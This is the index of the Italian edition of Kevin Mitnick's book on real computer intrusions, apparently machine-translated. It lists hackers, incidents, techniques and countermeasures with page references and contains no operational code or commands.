US District Court Hack, 71-72, 73-74
ARIN (American Registry for Internet Numbers),
100-101
intrusione auto blindata. *Vedere* società di sicurezza antintrusione
L'arte dell'inganno, 88, 232, 233
attribuzione, 236
autenticazione, contromisure, 217-218
modifiche autorizzate, rilevazione, 188
backticked difetto iniezione variabile, 167-168
backup, 177-179, 191
distintivi, falsi, 130-131, 137
Ball Grid Array (BGA) di progettazione, 21
carte di credito, 141
hack bancari
carte di credito, 141
carte di credito, 141
Banca Dixie, 143, 145-147
Banche estoni, 139-141
Internet banking, 139-141
cracking delle password, 142, 148
Banca svizzera, 147-148
irrompere il server IIS, 213
Berkeley Internet Name Domain (BIND),
vulnerabilità, 43
BGA (ball grid array) di progettazione, 21
buono regalo miliardi di dollari, 253-254
BIND (Berkeley Internet Name Domain),
vulnerabilità, 43
Blackout, durante i test di penetrazione, 121-122

Boeing, Seminario di sicurezza, 75-79
Hack Boeing (Matt e Costa)
break-in rilevato, 76-77
rompere la crittografia delle password, 76
contromisure, 88
intuizione, 87-88
restituzione, 82-83
sorveglianza, 77-81
Hack Boeing (ne0h), 27-28
Boelling, Don
arresti, 82-83
rilevazione, 75-79
intrusione diventa pubblico, 81
punire gli hacker, 83-84
sorveglianza, 79-81
libri e pubblicazioni
L'arte dell'inganno, 88, 232, 233
Prova a prendermi, 46
Il Eudaemonic Pie, 3
Takedown, 24
Brock
Configurazione del dispositivo 3Com, determinando,
200-202
l'accesso al sistema aziendale, 211-215
sfondo, 195-196
irrompere il server IIS, 213
contromisure, 216-218
sfondo hacker, 195-196
identificazione di un router, 198-199
mappatura della rete, 197-198, 202-207
le password, screpolature, 200, 210, 214
ping spazza, 202-203
port scanning, 199-201
controllo remoto di un PC, 208-211
ricerca della destinazione, 196-197
ricerca DNS inversa, 197-198
successo, 215
intrappolato in una DMZ, 202-207
Burns, Eric (Zyklon), 35-40, 43-44
casino trucco
All'indomani, 18-20
evitare il rilevamento, 10-11
contromisure, 20
costi dei danni, 18-20
fase di sviluppo, 4-6
firmware, 5-8
essere scoperti, 16-18
intuizione, 20
giocare gli slot, 8-16
punizione, 18
generatore di numeri casuali
manipolando gli slot, 10

reverse engineering, 12-13
riscrittura, 6-8
vera casualità, 20
fase di ricerca, 2-4
computer indossabile, 13-16

261

INDICE

Prova a prendermi, 46
processo cessate-e-desistere, 125
Chameleon, 27
checksum (hashing), 21
Trucco università cinese, 25-27
Chip imballaggi a bordo, 21
processi eludere, 65
Citrix Metaframe la vulnerabilità, 144, 145
Coke password di distributore automatico, 250
letture freddo, 222-223, 236
Compagno
sfondo, 23
sballato, 30-32
attività in corso, 40-41
e Khalid Ibrahim, 25-27
e ne0h, 22-25
Siprnet Hack, 28-29
guardie e ladri
Boeing trucco
break-in rilevato, 76-77
rompere la crittografia delle password, 76
contromisure, 88
intuizione, 87-88
sorveglianza, 77-81
Seminario sicurezza Boeing, 75-79
firewall aziendali, 186
Costa (Katsaniotis, Costa)
arresto per Boeing hack, 82-83
sfondo, 69-70
attività in corso, 87
dumpster diving, 70-71
servizi alberghieri, il furto di 72-73,
telefono phreaking, 70-71, 84-86
il carcere, 84-86
punizione, 81, 82-84
restituzione, 82-84
US District Court Hack, 71-72, 73-74
costi di hacking. *Vedi* stime dei danni
contromisure
responsabilità, 62-63
autenticazione, 217-218
hack banca, 150

BGA (ball grid array) di progettazione, 21
casino hack, 20
checksum (hashing), 21
Chip imballaggi a bordo, 21
processi eludere, 65
cracker
account amministratore, rinominare, 192
segnalazioni, 188
modifiche autorizzate, rilevazione, 188
backup, protezione, 191
memoria credenziali, la prevenzione, 192-193
difesa in profondità, 193
DNS indovinare, la prevenzione, 190
indurimento di Windows, 192-193
risposta agli incidenti, 188
file di installazione, la rimozione, 192
Microsoft SQL Server, protezione, 190-191
Servizi di Microsoft VPN, 192
Injection MS SQL, la protezione contro,
191-192
condivisioni di rete, protezione, 190
gestione delle password, 189-190
autorizzazioni, 188-189
port scanning, 187
file sensibili, protezione, 191
le attività di gestione del sistema, 187-188
applicazioni di terze parti, 190
cubicoli "morti", 64
regole firewall predefinite, 111
modello di difesa in profondità, 45, 149
DMZ (zona demilitarizzata), 45
e-mail snooping, 111-112
privilegi eccessivi, 66
il personale in uscita, 64
filtraggio servizi non necessari, 218
firewall, 186-187
accesso firmware, 20
indurimento, 218
perdita di informazioni, 110
abuso insider, 62-66
proxy server mal configurati, 112
Protezione accesso alla rete, 136
monitoraggio della rete, 45-46
politiche in loco visitatori, 65
Operazione Ricevitore ammissibili, 41-42
gestione delle password, 63, 217
sicurezza delle password, 136, 150
gestione delle patch, 44-45
test di penetrazione, 135-137
numero di telefono sniffing, 110
accesso fisico, 63-64
restrizioni di porta, 113

ricerca DNS inversa, 111-112
rivedere le regole del firewall, 136
conti basati sui ruoli, 62-63
fissaggio portatili personali, 217
ingegneria sociale, 110, 238
software controlli di integrità, 66
inventario del software e di controllo, 65-66
password statiche, 88
tailgating, 136
ambienti ricchi bersaglio, 63
La porta TCP 53, bloccando l'accesso a, 111
soluzioni temporanee, 216
intrusioni terroristici, 44-46
Texas prigioniera hack, 62-66
hardware non autorizzato, 64-65
con porte alte, 216
exploit zero-day, 45
trasferimento di zona, 111
. cracker *Vedi anche* gli hacker; due anni di trucco
contromisure
account amministratore, rinominare, 192
segnalazioni, 188
modifiche autorizzate, rilevazione, 188
backup, protezione, 191
memoria credenziali, la prevenzione, 192-193
difesa in profondità, 193
DNS indovinare, la prevenzione, 190
firewall, 186-187
indurimento di Windows, 192-193
risposta agli incidenti, 188
file di installazione, la rimozione, 192
Microsoft SQL Server, protezione, 190-191
Servizi di Microsoft VPN, 192
Injection MS SQL, la protezione contro,
191-192
condivisioni di rete, protezione, 190
gestione delle password, 189-190
autorizzazioni, 188-189
Indice
262

port scanning, 187
file sensibili, protezione, 191
le attività di gestione del sistema, 187-188
applicazioni di terze parti, 190
corrieri, 183
motivazione, 154
cracker, individuale
Erik
sballato, 163-164

invito a chiudere, 160-161
il download del codice sorgente, 164-165
Informazioni del Registro di dumping, 161
esaminando la storia di Internet Explorer, 162
di hacking applicazioni target, 161-163
hacking del bersaglio, 159-160
identificare la destinazione, 158-159
noto attacco plaintext, 165-166
cracking delle password, 157-159, 165-166
port scan, 155-157
Recupero delle chiavi di licenza, 161-162
tracciamento pacchetti di rete, 162-163
Robert
Accedendo l'help desk, 171-173
sfondo, 166, 168-169
backticked difetto iniezione variabile, 167-168
pericoli di backup, 177-179
i nomi dei server scoperta, 170-171
il download del codice sorgente, 180-182
indirizzi e-mail, il recupero, 178
l'hacking del software di post produzione video, 169-177
Il file Outlook.pst, recupero, 178
le password, screpolature, 175, 178-179, 180
password, osservazioni su, 179-180
porn di spam, 167-168
arcobaleno tabelle attacco, 180
il recupero mailing list, 167-168
setup.pl exploit, 167-168
condivisione con altri cracker, 182-185
SQL attacco iniezione, 173-177
caricamento di directory protette, 172
memoria credenziali, la prevenzione, 192-193
credibilità, 233
carte di credito, 141
stime dei danni
casino hack, 18-20
Lamo, Adrian, 105, 109-110
Lexis / Nexis Hack, 105
Microsoft hack, 100
furto di servizi alberghieri, 73
Davis, Chad, 39-40
cubicoli "morti", 64
decompilazione. *Vedere* il reverse engineering
difesa in profondità, 193
Defense Information Sistemi Network Equipment
Manager (DEM), 27
strategie di difesa. *Vedi* contromisure
modello di difesa in profondità, 45, 149
(Defense Information Systems DEM
Network Equipment Manager), 27
zona demilitarizzata (DMZ), 45, 202-207
desiderio di aiutare, 235-236

distrarre il bersaglio, 234-235
Mod banca Dixie, 143, 145-147
DMZ (zona demilitarizzata), 45, 202-207
DNS (Domain Name Server)
indovinare, impedendo, 190
ricerca DNS inversa, 95-96
ricerca inversa
contromisure, 111-112
Excite @ Home hack, 95-96
sicurezza aziendale intrusione, 197-198
vulnerabilità, 43
Domain Name Server (DNS)
indovinare, impedendo, 190
ricerca DNS inversa, 95-96
ricerca inversa
contromisure, 111-112
Excite @ Home hack, 95-96
sicurezza aziendale intrusione, 197-198
vulnerabilità, 43
sensori di porta, più furbo, 133-134
il download, il codice sorgente, 164-165, 180-182
Informazioni del Registro di dumping, 161
dumpster diving, 70-71, 118, 120-121
Dykes, Dustin
l'accesso ai documenti interni, 129-130
l'attacco, 127-128
fondo, 124
processo cessate-e-desistere, 125
contromisure, 135-137
che offre un accesso wireless, 127-128
etica di ingegneria sociale, 135
regole di base, 125-126
scaldino della mano trucco, 133-134
L0phtCrack, 128-129
registrazione battiture, 130-132
sensori di porta outsmarting, 133-134
cracking delle password, 128-129
distintivi falsi, 130-131, 137
pianificazione, 126-127
teaming rosso, 126-127
REX (Request to Exit), 133
shoulder surfing, 126-127
tailgating, 132-133
i risultati dei test, 134-135
Electronic Attack agli Stati Uniti, le vulnerabilità, 41-42
e-mail
indirizzi, recupero, 178
Il file Outlook.pst, recupero, 178
sniffing, 122
snooping, contromisure, 111-112
crittografia, rompendo le password, 128-129
Erik

sballato, 163-164
invito a chiudere, 160-161
il download del codice sorgente, 164-165
Informazioni del Registro di dumping, 161
esaminando la storia di Internet Explorer, 162
di hacking applicazioni target, 161-163
hacking del bersaglio, 159-160
identificare la destinazione, 158-159
noto attacco plaintext, 165-166
cracking delle password, 157-159, 165-166
port scan, 155-157
Recupero delle chiavi di licenza, 161-162
tracciamento pacchetti di rete, 162-163
Mod banca estone, 139-141
etica di ingegneria sociale, 135
Il Eudaemonic Pie, 3
Indice
263

Indice
264
Europea intrusione società di sicurezza. *Vedere* la sicurezza
società intrusione
esaminare le connessioni di rete, 161
privilegi eccessivi, 66
Excite @ Home hack, 93-98
il personale in uscita, 64
exploit. *Vedi anche* le vulnerabilità
definizione, 43
proxy server mal configurati, 94, 99
setup.pl, 167-168
zero-day, 45
FBI
contestata da ne0h, 39
intercettazioni da Adrian Lamo, 107-108
gLobaLheLL Roundup, 39
Khalid Ibrahim come informatore, 39-40
Casa Bianca rodaggio, 35-39
la paura, e l'ingegneria sociale, 237
prigioni federali, 49-51
filtraggio servizi non necessari, 218
firewall
aziendale, 186
regole predefinite, 111
personale, 186-187
regole recensione, 136
stateful inspection, 186
La porta TCP 53, bloccando l'accesso a, 111
firmware. *Vedi anche* il software
controllo degli accessi, 20

reverse engineering, 5-6
riscrittura, 6-8
costringendo il bersaglio in un ruolo, 234
FrontPage, vulnerabilità, 172
Gabriel
sfondo, 143-145
Dixie trucco banca, 145-147
hack bancari a lunga distanza, 145-148
Spy Lantern Keylogger, 144, 148
Mod banca svizzera, 147-148
get-out-of-prigione-libera della carta, 118
gruppo gLobaLheLL, 26, 35-39
Gordon, Michael, 33
Gregory, Patrick, 39-40
le linee guida per la formazione di ingegneria sociale, 238-239
H4G (Hacking per Girlies), 100
hacker
in software commerciale. *Vedere* cracker
gruppi
gLobaLheLL, 35-39
H4G (Hacking per Girlies), 100
Milw0rm, 33
intuizione, 207
siti online
Efnet, 24-25
Netcraft.com, 94-95
condivisione con altri cracker, 182-185
Siti warez, 182-185
hacker, individuale
Anderson, Charles Matthew. *Vedi anche*
Hack Boeing (Matt e Costa)
arresto per Boeing hack, 82-83
sfondo, 70
attività in corso, 87
dumpster diving, 70-71
servizi alberghieri, il furto di 72-73,
telefono phreaking, 70-71
il carcere, 84-86
punizione, 81, 82-84
US District Court Hack, 71-72, 73-74
Brock
Configurazione del dispositivo 3Com, determinando,
200-202
l'accesso al sistema aziendale, 211-215
sfondo, 195-196
irrompere il server IIS, 213
contromisure, 216-218
sfondo hacker, 195-196
identificazione di un router, 198-199
mappatura della rete, 197-198, 202-207
le password, screpolature, 200, 210, 214
ping spazza, 202-203

port scanning, 199-201
controllo remoto di un PC, 208-211
ricerca della destinazione, 196-197
ricerca DNS inversa, 197-198
successo, 215
intrappolato in una DMZ, 202-207
Burns, Eric (Zyklon)
punizione, 40
Casa Bianca rodaggio, 35-39, 43-44
Butler, William. *Vedere* Texas prigionie mod
Cerebrum. *Vedere* Anderson, Charles Matthew (Matt)
Chameleon, 27
Compagno
sfondo, 23
sballato, 30-32
attività in corso, 40-41
e Khalid Ibrahim, 25-27
e ne0h, 22-25
Siprnet Hack, 28-29
Costa. *Vedere* Katsaniotis, Costa
Davis, Chad, 39-40
Dykes, Dustin
l'accesso ai documenti interni, 129-130
l'attacco, 127-128
fondo, 124
processo cessate-e-desistere, 125
contromisure, 135-137
che offre un accesso wireless, 127-128
etica di ingegneria sociale, 135
regole di base, 125-126
scaldino della mano trucco, 133-134
LOphtCrack, 128-129
registrazione battiture, 130-132
sensori di porta outsmarting, 133-134
cracking delle password, 128-129
distintivi falsi, 130-131, 137
pianificazione, 126-127
teaming rosso, 126-127
REX (Request to Exit), 133
shoulder surfing, 126-127
tailgating, 132-133
i risultati dei test, 134-135
Gabriel
sfondo, 143-145
Dixie trucco banca, 145-147
hack bancari a lunga distanza, 145-148
Spy Lantern Keylogger, 144, 148
Mod banca svizzera, 147-148
Gregory, Patrick, 39-40

Juhan, 140-143
Katsaniotis, Costa. *Vedi anche* Boeing hack (Matt e Costa)
arresto per Boeing hack, 82-83
sfondo, 69-70
attività in corso, 87
dumpster diving, 70-71
servizi alberghieri, il furto di 72-73,
telefono phreaking, 70-71, 84-86
il carcere, 84-86
punizione, 81, 82-84
US District Court Hack, 71-72, 73-74
Lamo, Adrian
sfondo, 93
attività in corso, 107-108
costi dei danni, 105, 109-110
intercettazioni sul FBI, 107-108
Excite @ Home hack, 93-98
query SQL free-form, 102-103
Gattino di salvataggio, 92-93
Lexis / Nexis Hack, 104-105
MCI WorldCom hack, 98-99
Microsoft hack, 99-100
proxy server mal configurati, sfruttando, 94, 99
attività di rete di monitoraggio, 96-97
New York Times Hack, 100-108
condivisioni aperte, 96
cracking delle password, 103-104
storia personale, 93
punizione, 107-108
RAT (Remote Access Trojan), 96
restituzione alle vittime, 107-108
ricerca DNS inversa, 95-96
abilità uniche, 106-107
Louis
Configurazione del dispositivo 3Com, determinando, 200-202
l'accesso al sistema aziendale, 211-215
sfondo, 195-196
irrompere il server IIS, 213
contromisure, 216-218
sfondo hacker, 195-196
identificazione di un router, 198-199
mappatura della rete, 197-198, 202-207
le password, screpolature, 200, 210, 214
ping spazza, 202-203
port scanning, 199-201
controllo remoto di un PC, 208-211
ricerca della destinazione, 196-197
ricerca DNS inversa, 197-198
successo, 215
intrappolato in una DMZ, 202-207
Matt. *Vedere* Anderson, Charles Matthew

Mayfield, Alex. *Vedere* casino mod
MindPhasr, 39-40
MostFearD, 36
MostHateD, 39-40
Mudge. *Vedere* Zatko, Pieter
neOh
il 9/11, 35
sfondo, 24
Boeing hack, 27-28
sfidare al FBI, 39
e il compagno, 22-25
attività in corso, 40-41
Indian Airlines dirottamento, 29-30
e Khalid Ibrahim, 25-27, 32-33
Lockheed Martin Hack, 27-28
Siprnet hack, 29
Casa Bianca rodaggio, 35-39
Siprnet Hack, 30-32
Whurley
letture a freddo, 222-223
direzione di avvicinamento, 223-224
ingannare le guardie, 223-224
impersonando un dipendente, 226-229
Controlli di sicurezza Las Vegas, 222-232
distintivi falsi, 229-230
psicologia del colore, 225-226
schmoozing staff del casino, 222-223
Zatko, Pieter (Mudge)
l'attacco, 118-119
fondo, 116
dumpster diving, 118, 120-121
e-mail sniffing, 122
relazione finale, 123-124
blackout fortuito, 121-122
get-out-of-prigione-libera della carta, 118
regole di base, 117-119
incontrare il cliente, 117
NDA (accordi di non divulgazione), 118-119
tailgating, 121
voicemail snooping, 122
Zyklon. *Vedere* Burns, Eric
Hacking per Girlies (H4G), 100
scaldino della mano trucco, 133-134
indurimento, contromisure, 218
Gruppo Harkat ul-Mujahideen, 34
Gruppo Harkat-ul-Ansar, 34
hashing (checksum), 21
help desk, hacking, 171-173
elaborazione delle informazioni euristica, 234-235
nomi host
ricerca DNS inversa
contromisure, 111-112

Excite @ Home hack, 95-96
sicurezza aziendale intrusione, 197-198
servizi alberghieri, il furto di, 72-73, 87-88
Ibrahim, Khalid
indagini di fondo, 32-34
Informatore dell'FBI, 39-40
Gruppo Harkat ul-Mujahideen, 34
Gruppo Harkat-ul-Ansar, 34
reclutamento hacker, 25-32
IDA Pro, 173
impersonando un dipendente, 226-229
risposta agli incidenti, 188
Indian Airlines dirottamento, 29-30
perdita di informazioni, le contromisure, 110
abuso insider, 62-66
file di installazione, la rimozione, 192
trucco di proprietà intellettuale
sballato, 163-164
invito a chiudere, 160-161
il download del codice sorgente, 164-165
Informazioni del Registro di dumping, 161
esaminando la storia di Internet Explorer, 162
di hacking applicazioni target, 161-163
hacking del bersaglio, 159-160
identificare la destinazione, 158-159
noto attacco plaintext, 165-166
cracking delle password, 157-159, 165-166
Indice
265

proprietà intellettuale mod (*continua*)
port scan, 155-157
Recupero delle chiavi di licenza, 161-162
tracciamento pacchetti di rete, 162-163
Interactive Disassembler, 173
Internet banking, 139-141
Indirizzi IP
ARIN (American Registry for Internet Numbers),
100-101
trovare i nomi di host da. *Vedere* ricerca inversa DNS
netblocks, 101
ricerca DNS inversa
contromisure, 111-112
Excite @ Home hack, 95-96
sicurezza aziendale intrusione, 197-198
Esercito iracheno Hack, 250-252
Jailbait hack, 255-257
Juhan, 140-143
Jurassic Park hack, 248-250
Katsaniotis, Costa

arresto per Boeing hack, 82-83
sfondo, 69-70
attività in corso, 87
dumpster diving, 70-71
servizi alberghieri, il furto di 72-73,
telefono phreaking, 70-71, 84-86
il carcere, 84-86
punizione, 81, 82-84
restituzione, 82-84
US District Court Hack, 71-72, 73-74
Keebler Elfi, 24
Keyghost keystroke logger, 131-132
battiture, logging, 130-132, 144, 148
Gattino di salvataggio, 92-93
noto attacco plaintext, 165-166
Knuth, Donald, 6-8
L0pht Heavy Industries, 116. *Vedi anche* Penetration Testing
L0phtCrack, 128-129
L0phtCrack III, 180
Lamo, Adrian
sfondo, 93
attività in corso, 107-108
costi dei danni, 105, 109-110
intercettazioni sul FBI, 107-108
Excite @ Home hack, 93-98
query SQL free-form, 102-103
Gattino di salvataggio, 92-93
Lexis / Nexis Hack, 104-105
MCI WorldCom hack, 98-99
Microsoft hack, 99-100
proxy server mal configurati, sfruttando, 94, 99
attività di rete di monitoraggio, 96-97
New York Times Hack, 100-108
condivisioni aperte, 96
cracking delle password, 103-104
storia personale, 93
punizione, 107-108
RAT (Remote Access Trojan), 96
restituzione alle vittime, 107-108
ricerca DNS inversa, 95-96
abilità uniche, 106-107
Las Vegas trucco
All'indomani, 18-20
evitare il rilevamento, 10-11
contromisure, 20
costi dei danni, 18-20
fase di sviluppo, 4-6
firmware, 5-8
essere scoperti, 16-18
intuizione, 20
giocare gli slot, 8-16
punizione, 18

generatore di numeri casuali
manipolando gli slot, 10
reverse engineering, 12-13
riscrittura, 6-8
vera casualità, 20
fase di ricerca, 2-4
computer indossabile, 13-16
Controlli di sicurezza Las Vegas, 222-232
formazione di applicazione della legge. *Vedere* guardie e ladri
Lexis / Nexis Hack, 104-105
chiavi di licenza, il recupero, 161-162
simpatia, e l'ingegneria sociale, 236-237
Lockheed Martin Hack, 27-28, 42-44
loft. *Vedere* LOpht
registrazione battiture, 130-132, 144, 148
Louis
Configurazione del dispositivo 3Com, determinando, 200-202
l'accesso al sistema aziendale, 211-215
sfondo, 195-196
irrompere il server IIS, 213
contromisure, 216-218
sfondo hacker, 195-196
identificazione di un router, 198-199
mappatura della rete, 197-198, 202-207
le password, screpolature, 200, 210, 214
ping spazza, 202-203
port scanning, 199-201
controllo remoto di un PC, 208-211
ricerca della destinazione, 196-197
ricerca DNS inversa, 197-198
successo, 215
intrappolato in una DMZ, 202-207
LsaDump2, 161
mailing list, il recupero, 167-168
Markoff, John, 100
Matt (Anderson, Charles Matthew)
arresto per Boeing hack, 82-83
sfondo, 70
attività in corso, 87
dumpster diving, 70-71
servizi alberghieri, il furto di 72-73,
telefono phreaking, 70-71
il carcere, 84-86
punizione, 81, 82-84
restituzione, 82-84
US District Court Hack, 71-72, 73-74
Mayfield, Alex. *Vedere* casino mod
MCI WorldCom hack, 98-99
McKay, Niall, 27, 30
metamorfosi dello spirito, 59
Microsoft FrontPage, le vulnerabilità, 172
Microsoft hack, 99-100

Microsoft SQL Server, protezione, 190-191
Servizi di Microsoft VPN, 192
Gruppo milw0rm, 33
MindPhasr, 39-40
manca stipendio hack, 247-248
MIT di Cina Hack, 25-27

Indice

266

Mitnick, Kevin
avvicinato da signore della droga colombiana, 41
L'arte dell'inganno, 88, 232, 233
Takedown, 24
M & M di sicurezza, 176
slancio di conformità, 235
trasporto del denaro intrusione
Configurazione del dispositivo 3Com, determinando, 200-202
l'accesso al sistema aziendale, 211-215
irrompere il server IIS, 213
contromisure, 216-218
sfondo hacker, 195-196
identificazione di un router, 198-199
mappatura della rete, 197-198, 202-207
le password, screpolature, 200, 210, 214
ping spazza, 202-203
port scanning, 199-201
controllo remoto di un PC, 208-211
ricerca della destinazione, 196-197
ricerca DNS inversa, 197-198
successo, 215
intrappolato in una DMZ, 202-207
MostFearD, 36
MostHateD, 39-40
Injection MS SQL, la protezione contro, 191-192
Mudge (Zatko, Pieter)
l'attacco, 118-119
fondo, 116
dumpster diving, 118, 120-121
e-mail sniffing, 122
relazione finale, 123-124
blackout fortuito, 121-122
get-out-of-prigione-libera della carta, 118
regole di base, 117-119
incontrare il cliente, 117
NDA (accordi di non divulgazione), 118-119
tailgating, 121
voicemail snooping, 122
NDA (accordi di non divulgazione), 118-119
ne0h
il 9/11, 35

sfondo, 24
Boeing hack, 27-28
sfidare al FBI, 39
e il compagno, 22-25
attività in corso, 40-41
Indian Airlines dirottamento, 29-30
e Khalid Ibrahim, 25-27, 32-33
Lockheed Martin Hack, 27-28
Siprnet hack, 29
Casa Bianca rodaggio, 35-39
netblocks, 101
Netcraft.com, 94-95
comando netstat, 96-97, 161
reti
protezione di accesso, 136
attività di monitoraggio, 96-97
che offre un accesso wireless, 127-128
connessioni esame, 161
intrusioni, 161-163
mapping, 197-198, 202-207
monitoraggio, 45-46
comando netstat, 161
azioni, 177, 190
comando tracert, 162-163
pacchetti tracing, 162-163
New York Times Hack, 100-108
Nietzsche, Friedrich, 59
9/11, all'indomani, 34-35
Nmap, 199-201
accordi di non divulgazione (NDA), 118-119
a senso unico hash, 128-129
politiche in loco visitatori, 65
condivisioni aperte, 96
Operazione Ricevitore ammissibili, 41-42
Il file Outlook.pst, recupero, 178
password
crittografia di rottura, 76, 128-129
cambiando, 88
Distributore automatico Coke, 250
screpolatura
hack banca, 142, 148
contromisure, 217
estrazione hash delle password, 157-158
indovinare, 159, 200
hash, tavole di 180,
noto attacco plaintext, 165-166
L0phtCrack, 116, 128-129
L0phtCrack III, 180
PkCrack, 165-166
prevedibilità, 103-104
Pwddump2, 180
arcobaleno tabelle attacco, 180

messaggi di scansione e-mail, 178-179
ricerca il contenuto dei file, 146, 210, 214
due anni di hack, 159
jolly, 175
osservazioni degli hacker, 180
gestione, 63, 189-190, 217
a senso unico hash, 128-129
proteggere, 136
RSA SecureID, 37
statico, 88
File di password Unix / Linux, 37
gestione delle patch, 44-45
PC Anywhere, 208-211
pedofilo hack, 255-257
test di penetrazione
Dykes, Dustin
l'accesso ai documenti interni, 129-130
l'attacco, 127-128
fondo, 124
processo cessate-e-desistere, 125
contromisure, 135-137
che offre un accesso wireless, 127-128
etica di ingegneria sociale, 135
regole di base, 125-126
scaldino della mano trucco, 133-134
L0phtCrack, 128-129
registrazione battiture, 130-132
sensori di porta outsmarting, 133-134
cracking delle password, 128-129
distintivi falsi, 130-131, 137
pianificazione, 126-127
teaming rosso, 126-127
REX (Request to Exit), 133
shoulder surfing, 126-127
tailgating, 132-133
i risultati dei test, 134-135
Indice
267

test di penetrazione (*continua*)
Zatko, Pieter (Mudge)
l'attacco, 118-119
fondo, 116
dumpster diving, 118, 120-121
e-mail sniffing, 122
relazione finale, 123-124
blackout fortuito, 121-122
get-out-of-prigione-libera della carta, 118
regole di base, 117-119
incontrare il cliente, 117

NDA (accordi di non divulgazione), 118-119
tailgating, 121
voicemail snooping, 122
autorizzazioni, contromisure cracker, 188-189
firewall personali, 186-187
PHF (rubrica) script, le vulnerabilità, 43-44
Rubrica (PHF) di script, vulnerabilità, 43-44
phone hacking. *Vedi anche* phreaking
voicemail snooping, 122
war dialing, 71-72, 121
distintivi falsi, 130-131, 137, 229-230
phreaking, 70-71, 84-86. *Vedi anche* phone hacking
accesso fisico, 63-64
analisi fisiche. *Vedi* dumpster diving
ping spazza, 202-203
PkCrack, 165-166
poker hack, 254-255
porn di spam, 167-168
restrizioni di porta, 113
port scanning
contromisure cracking, 187
identificare software server, 155-157
sicurezza aziendale intrusione, 199-201
porti, con i numeri alti, 216
misure di prevenzione. *Vedi* contromisure
carcere incidere. *Vedere* Texas prigionie mod
. carcere tempo *Vedi anche* la punizione; restituzione; Texas
carcere trucco
Boron Federal Prison Camp, 86
prigioni federali, 49-51
telefono phreaking, 84-85
vita carceraria, 49-51, 86-87
Sheridan Camp, 86
prigioniero escort intrusione
Configurazione del dispositivo 3Com, determinando, 200-202
l'accesso al sistema aziendale, 211-215
irrompere il server IIS, 213
contromisure, 216-218
sfondo hacker, 195-196
identificazione di un router, 198-199
mappatura della rete, 197-198, 202-207
le password, screpolature, 200, 210, 214
ping spazza, 202-203
port scanning, 199-201
controllo remoto di un PC, 208-211
ricerca della destinazione, 196-197
ricerca DNS inversa, 197-198
successo, 215
intrappolato in una DMZ, 202-207
programmi. *Vedere* software
misure di protezione. *Vedere* contromisure
i server proxy

constatazione, 99
mal configurati, contromisure, 112
misconfigured, sfruttando, 94, 99
ProxyHunter, 99
psicologia del colore, 225-226
psicologia di ingegneria sociale. *Vedere* psicologia sociale
logia di ingegneria sociale
. punizioni *Vedi anche* il carcere; restituzione
Anderson, Charles Matteo, 81, 82-84
Butler, William. *Vedere* Texas prigionie mod
casino hack, 18
Il compagno, 30-32
Davis, Chad, 39-40
Gregory, Patrick, 39-40
Katsaniotis, Costa, 81, 82-84
Lamo, Adrian, 107-109
MindPhasr, 39-40
MostHateD, 39-40
riluttanza a perseguire, 143
Siprnet Hack, 30-32
Pwddump2, 180
. RahulB (terrorista) *Vedi* Ibrahim, Khalid; terrorista
intrusioni
arcobaleno tabelle attacco, 180
. Rama3456 (terrorista) *Vedi* Ibrahim, Khalid; terrorista
intrusioni
generatori di numeri casuali
manipolando gli slot, 10
reverse engineering, 6-8, 12-13
riscrittura, 6-8
vera casualità, 7, 20
RAT (Remote Access Trojan), 96
Reattanza, 237-238
teaming rosso, 126-127
Informazioni del Registro, il dumping, 161
Trojan di accesso remoto (RAT), 96
controllo remoto di un PC, 208-211
Reno, Janet, 31-32
Richiesta di Exit (REX), 133
. restituzione *Vedi anche* il carcere; punizione
Anderson, Charles Matthew, 82-84
Boeing trucco (Matt e Costa), 82-83
Katsaniotis, Costa, 82-84
Lamo, Adrian, 107-108
ricerca DNS inversa
contromisure, 111-112
Excite @ Home hack, 95-96
sicurezza aziendale intrusione, 197-198
reverse engineering
Codice C di assembler, 173
software commerciale. *Vedere* cracker
generatori di numeri casuali, 6-8

machine firmware slot 5-6
REX (Request to Exit), 133
valutazione del rischio, 41-42
Robert
Accedendo l'help desk, 171-173
sfondo, 166, 168-169
backticked difetto iniezione variabile, 167-168
pericoli di backup, 177-179
i nomi dei server scoperta, 170-171
indirizzi e-mail, il recupero, 178
l'hacking del software di post produzione video, 169-177
Il file Outlook.pst, recupero, 178
le password, screpolature, 175, 178-179, 180
password, osservazioni su, 179-180
porn di spam, 167-168
arcobaleno tabelle attacco, 180
Indice
268

il recupero mailing list, 167-168
setup.pl exploit, 167-168
SQL attacco iniezione, 173-177
caricamento di directory protette, 172
Robin Hood di hacker. *Vedere* Lamo, Adrian
ruolo, e l'ingegneria sociale, 232-233
conti basati sui ruoli, 62-63
roulette hack, 3
router, individuando, 198-199
Sagarin, Brad, 232, 233
scansione di vulnerabilità, CGI (Common Gateway
interfaccia), 43
Segreto Internet Protocol Router Network
(Siprnet), 28-29, 30-32
fissaggio portatili personali, contromisure, 217
società di sicurezza intrusione
Configurazione del dispositivo 3Com, determinando, 200-202
l'accesso al sistema aziendale, 211-215
irrompere il server IIS, 213
contromisure, 216-218
sfondo hacker, 195-196
identificazione di un router, 198-199
mappatura della rete, 197-198, 202-207
le password, screpolature, 200, 210, 214
ping spazza, 202-203
port scanning, 199-201
controllo remoto di un PC, 208-211
ricerca della destinazione, 196-197
ricerca DNS inversa, 197-198
successo, 215
intrappolato in una DMZ, 202-207

le misure di sicurezza. *Vedi* contromisure
sicurezza attraverso l'oscurità, 94
file sensibili, protezione, 191
11 settembre all'indomani, 34-35
i nomi dei server, scoprendo, 170-171
software server, identificando, 155-157
setup.pl, vulnerabilità, 167-168
setup.pl exploit, 167-168
shoulder surfing, 126-127
Siprnet (Secret Internet Protocol Router Network),
28-29, 30-32
slot machine incidere. *Vedi* casino mod
sniffer
Boeing hack, 28
Trucco università cinese, 26
e-mail, 122
nascondere, 43
Lockheed Martin Hack, 43
le password, 43
numeri di telefono, 110
Siprnet hack, 31
snooping. *Vedere* sniffer
ingegneria sociale
altercasting, 234
attribuzione, 236
Trucco università cinese, 25-27
letture freddo, 222-223, 236
contromisure, 110, 238
credibilità, 233
desiderio di aiutare, 235-236
direzione di avvicinamento, 223-224
distrarre il bersaglio, 234-235
dumpster diving, 70-71, 118, 120-121
etica di, 135
Excite @ Home hack, 95
paura, 237
ingannare le guardie, 223-224
costringendo il bersaglio in un ruolo, 234
elaborazione delle informazioni euristica, 234-235
impersonando un dipendente, 226-229
Controlli di sicurezza Las Vegas, 222-232
simpatia, 236-237
slancio di conformità, 235
test di penetrazione, 121, 132-133
numero di telefono sniffing, contromisure, 110
distintivi falsi, 130-131, 137, 229-230
norma gentilezza, 136
psicologia del colore, 225-226
Reattanza, 237-238
